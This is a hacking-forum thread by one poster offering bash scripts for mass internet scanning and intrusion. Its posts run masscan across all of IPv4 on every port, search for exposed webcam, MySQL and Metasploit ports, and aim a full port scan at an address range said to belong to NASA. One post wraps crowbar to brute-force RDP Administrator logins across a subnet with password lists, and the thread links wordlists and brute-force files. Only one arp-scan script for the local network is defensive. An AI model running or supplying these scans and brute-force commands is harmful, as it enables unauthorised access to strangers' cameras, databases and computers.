Linux Bash Mass Scanning The Whole Internet & Web Cams

View previous topic View next topic Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 27th May 2017, 11:13

Part 1




Part 2



Cam IP Port Is 554 (Not 445 like in the vid).


Part 3



Part 4



Part 5



Part 6


Last edited by jamied_uk on 27th May 2017, 16:32; edited 5 times in total
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 27th May 2017, 12:53

Bruteforcing RDP




Code:
git clone https://github.com/galkan/crowbar.git

make a pass.txt file for youre password list or use one from online...


Script Code:

Code:
#!/bin/bash
# Usage ./Crowbar.sh IP-Here
#
#
#
myvar="$1"
sudo python crowbar.py -b rdp -s $myvar/24 -u Administrator -C pass.txt -v -n 100
# -q quiet only show success -v verbose -n thread count





More @
github.com/galkan/crowbar


Last edited by jamied_uk on 28th May 2017, 18:16; edited 2 times in total
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 27th May 2017, 14:00

Connect With Vinagre

Vid

Code:
sudo apt install -y vinagre
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 27th May 2017, 20:55

Quick Scan Log Comparason



Code


Code:
#!/bin/bash
#
# (c) J~Net 2017
#
# jnet.forumn.biz/t1477-quick-scan-linux-script-security-tut#2157
#
# Kali Linux
# chmod +x *.sh
#
# Non Kali
# sudo chmod +x *.sh
#
# Example:
# ./Run.sh enp0s3 or wlan0 or eth0

#
# Check old scan file exists and backup if it does for comparison
#

#apt update && apt upgrade -y
#apt install -y ettercap
var="$1"
# Non Kali Install
sudo apt install arp-scan
# Kali Install
# apt install arp-scan
#
# Check if old log file exists!...
if [ -f "output.txt" ]; then
 echo "backing Up Old Log File For Comparison, Please Wait...";
# Instead of copying we sort here to save time later!...
cat output.txt | sort > old_output.txt
#

fi

clear
ifconfig
echo "Choose An Adapter & Type It In"
# Check if user put in any adapter
 if [ -z "$1" ] && [ -z "$2" ]
  then
  read var
 fi
# Kali Run
#arp-scan --interface=$var --localnet
# Non kali Run
sudo arp-scan --interface=$var --localnet > output.txt
head -n -3 output.txt > tempoutput.txt ; mv tempoutput.txt output.txt
clear
cat output.txt
# Now compare with old scan data
if [ -f "old_output.txt" ]; then
echo "Comparing Log Files, Please Wait..."
 cat output.txt | sort > tmp_output.txt
 mv tmp_output.txt output.txt
 echo "Differences Are Listed Below"
 echo ""
 grep -f old_output.txt output.txt
#
 # var1 contains size of file1
var1=$(stat -c%s old_output.txt)
# var2 contains size of file2
var2=$(stat -c%s output.txt)
#same as above
if [[ "$var1" -lt "$var2" ]]; then
    echo ""
    echo ""
    echo 'New Devices Maybe On Youre Network'
 elif [[ "$var1" -gt "$var2" ]]; then
    echo ""
    echo ""
    echo 'Everything Seems Normal'
 elif [[ "$var1" -eq "$var2" ]]; then
     echo ""
     echo ""
     echo 'Everything Seems Normal'
 fi
fi









More On Quick Scan

jnet.forumn.biz/t1477-quick-scan-linux-script-security-tut#2157
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 27th May 2017, 21:45

Quick Scan & Brute Force Files

app.box.com/s/rahkey9kuugib9d7b5y70uz8gr5l8tdp
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 28th May 2017, 15:49

Stripping out unwanted strings in txt files for linux bash

avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 28th May 2017, 18:55

Password Lists







Code:
git clone https://github.com/jeanphorn/wordlist.git



github.com/jeanphorn/wordlist
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 29th May 2017, 00:38

Scanning For Hackers Using MSF Port 5555



Code:


Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumn.biz/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# ./AutoScanAll_msf_Ports.sh > msf_port_list.txt
#
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
# Cam ports, 554
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="5555"
sudo masscan -p"$port" 0.0.0.0/24 -e "$adapter" --router-ip "$router" --range 0.0.0.1-255.255.255.254 --exclude 255.255.255.255 --max-rate 1000000
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 29th May 2017, 01:02

Mass Scan Everything Everywhere





Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumn.biz/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# ./AutoScan_All_Ports_everywhere.sh > All_Ports_Everywhere.txt
#
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
# Cam ports, 554
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="0-65535"
sudo masscan -p"$port" 0.0.0.0/0 -e "$adapter" --router-ip "$router" --range 0.0.0.1-255.255.255.254 --exclude 255.255.255.255 --excludefile exclude.txt --max-rate 1000000
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 5th June 2017, 13:09

MySql Example



Code


Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumn.biz/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# ./AutoScan_All_Mysql_Ports.sh > Mysql_List.txt
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="3306"
sudo masscan -p"$port" 0.0.0.0/24 -e "$adapter" --router-ip "$router" --range 0.0.0.1-255.255.255.254 --exclude 255.255.255.255
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk on 5th June 2017, 14:28

IP Range Scanner



1st Find IP Range of a target domain with
Code:
http://centralops.net/co

Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumn.biz/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# Find Range @ http://centralops.net/co
#
# ./AutoScan_All_Ports_Range.sh > All_Ports_Range.txt
#
# This will scan the whole of NASA For All Ports Randomly!
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
# Cam ports, 554
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="0-65535"
sudo masscan -p"$port" 0.0.0.0/0 -e "$adapter" --router-ip "$router" --range 192.64.144.0-192.64.151.255 --exclude 255.255.255.255 --excludefile exclude.txt --max-rate 1000000
avatar
jamied_uk
Admin

Posts : 2193
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by Sponsored content


Sponsored content


Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum